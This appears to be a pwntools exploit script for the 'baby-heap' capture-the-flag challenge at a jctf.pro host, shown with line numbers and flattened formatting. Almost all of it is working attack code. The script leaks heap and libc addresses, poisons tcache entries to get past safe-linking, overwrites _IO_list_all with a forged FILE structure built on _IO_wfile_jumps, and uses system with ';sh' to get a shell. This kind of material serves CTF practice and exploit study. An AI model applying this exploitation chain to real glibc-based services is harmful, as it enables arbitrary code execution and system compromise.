1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263
| from pwn import *
import time
current_dir = os.getcwd() arch = os.uname().machine
local = 0 if local: p = process('./pwn') if local == 7: command = ["setarch", arch, "-R", "./pwn"] p = process(command) else: p = remote('baby-heap.nc.jctf.pro', 1337, timeout=300) p.sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
elf = ELF('./pwn')
space = 1 for item in os.listdir(current_dir): if item == 'libc.so.6' or space == 0: libc = ELF('./libc.so.6') success("成功加载LIBC文件...") time.sleep(0.2)
if elf.arch == 'amd64': context(arch='amd64', log_level='debug', os='linux') if elf.arch == 'i386': context(arch='i386', log_level='debug', os='linux')
def ELF(func_name): globals()[f"{func_name}_got"] = elf.got[func_name] globals()[f"{func_name}_plt"] = elf.plt[func_name]
def GDB(script=""): gdb.attach(p, gdbscript=script)
def fmt64(): p.recvuntil("0x") return int(p.recv(12), 16)
def fmt32(): p.recvuntil("0x") return int(p.recv(8), 16)
def ph(var): var_name = [name for name, value in globals().items() if value is var][0] log.info(f"{var_name} >> {hex(var)}")
def phlen(var): var_name = [name for name, value in globals().items() if value is var][0] log.info(f"{var_name}(DEC) >> {len(var)}") log.info(f"{var_name}(HEX) >> {hex(len(var))}")
def ELFlibc(real_addr, func_name): global libc_base, system, binsh libc_base = real_addr - libc.symbols[func_name] system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh')) success(f"libc_base >> {hex(libc_base)}")
def Libcer(real_addr, func_name): global libc_base, system, binsh libc = LibcSearcher(func_name, real_addr) libc_base = real_addr - libc.dump(func_name) system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') success(f"libc_base >> {hex(libc_base)}")
def add(index, content): sla(b"> ", b"1") time.sleep(0.1) sla(b"Index? ", str(index).encode()) time.sleep(0.1) sa(b"Content? ", content) time.sleep(0.1)
def show(index): sla(b"> ", b"2") time.sleep(0.1) sla(b"Index? ", str(index).encode()) time.sleep(0.1)
def edit(index, content): sla(b"> ", b"3") time.sleep(0.1) sla(b"Index? ", str(index).encode()) time.sleep(0.1) sa(b"Content? ", content) time.sleep(0.1)
def free(index): sla(b"> ", b"4") time.sleep(0.1) sla(b"Index? ", str(index).encode()) time.sleep(0.1)
def exit(): sla(b"> ", b"0") time.sleep(0.1)
sd = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) rc = lambda num=4096: p.recv(num) ru = lambda a, b=False: p.recvuntil(a, drop=b) rl = lambda: p.recvline() pr = lambda num=4096: print(p.recv(num)) l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16)
add(0, b'a'*8) add(1, b'a'*8) free(0) show(0) time.sleep(0.3)
key = uu64() ph(key) heap_base = key << 12 ph(heap_base) add(2, b'a'*8) time.sleep(0.2)
add(3, b'a'*8) time.sleep(0.2)
add(4, b'a'*8) free(1) time.sleep(0.2)
free(0) edit(0, p64(key ^ (heap_base + 0x2d0))) time.sleep(0.2)
add(5, b'a'*8) add(6, b'b'*8 + p64(0x41 + 0x40 + 0x40)) time.sleep(0.2)
add(7, b'a'*8) add(8, b'a'*8) add(9, b'a'*8) free(8) time.sleep(0.2)
free(7) time.sleep(0.5)
edit(7, p64((heap_base + 0xa0 - 0x20) ^ key)) time.sleep(0.2)
add(10, b'a'*8) add(11, (b'\x00' + b'\x00')*24) time.sleep(0.2)
edit(11, (b'\x00' + b'\x00')) time.sleep(0.2)
free(8) time.sleep(0.2)
free(7) time.sleep(0.2)
edit(7, p64((heap_base + 0x10) ^ key)) time.sleep(0.2)
add(12, b'a'*8) add(13, (b'\x07' + b'\x00')*24) time.sleep(0.2)
free(1) show(1) libc_base = l64() - 0x203b20 ph(libc_base) IO_list_all = libc_base + libc.sym['_IO_list_all'] ph(IO_list_all) time.sleep(1)
edit(11, (b'\x00' + b'\x00')*24) time.sleep(0.3)
edit(13, (b'\x00' + b'\x00')*24) time.sleep(0.3)
add(14, b'a'*8) add(15, b'a'*8) add(16, b'a'*8) time.sleep(0.2)
edit(13, (b'\x00' + b'\x00')*2 + (b'\x01' + b'\x00')) time.sleep(0.2)
free(0) edit(0, p64(IO_list_all ^ key)) add(17, b'a'*8) add(18, p64(heap_base + 0x2e0)) time.sleep(0.3)
IO_addr = heap_base + 0x2d0 IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] system = libc_base + libc.sym['system'] time.sleep(0.2)
IO = flat( { 0: p32(0xfffff7f5) + b';sh\x00', 0x8: p64(0x420), 0x28: 1, 0xa0: IO_addr + 0xd8 - 0xb0, 0xd8: IO_wfile_jumps, 0xe0: IO_addr, }, filler=b'\x00' ) edit(14, IO[0x0:0x30]) time.sleep(0.2) edit(15, IO[0x40:0x70]) time.sleep(0.2) edit(16, IO[0x80:0xb0]) time.sleep(0.2) edit(7, IO[0xc0:0xf0]) time.sleep(0.2)
free(9) edit(11, b'\x00'*8*4 + p64(heap_base + 0x3d0)) time.sleep(0.3)
add(19, b'\00'*8) ph(IO_addr) time.sleep(0.2)
ph(system) time.sleep(0.2)
edit(19, b'\00'*8 + p64(heap_base + 0x2a0 - 0x68)*4) time.sleep(0.2)
edit(0, p64(system)*6) exit() p.interactive()
|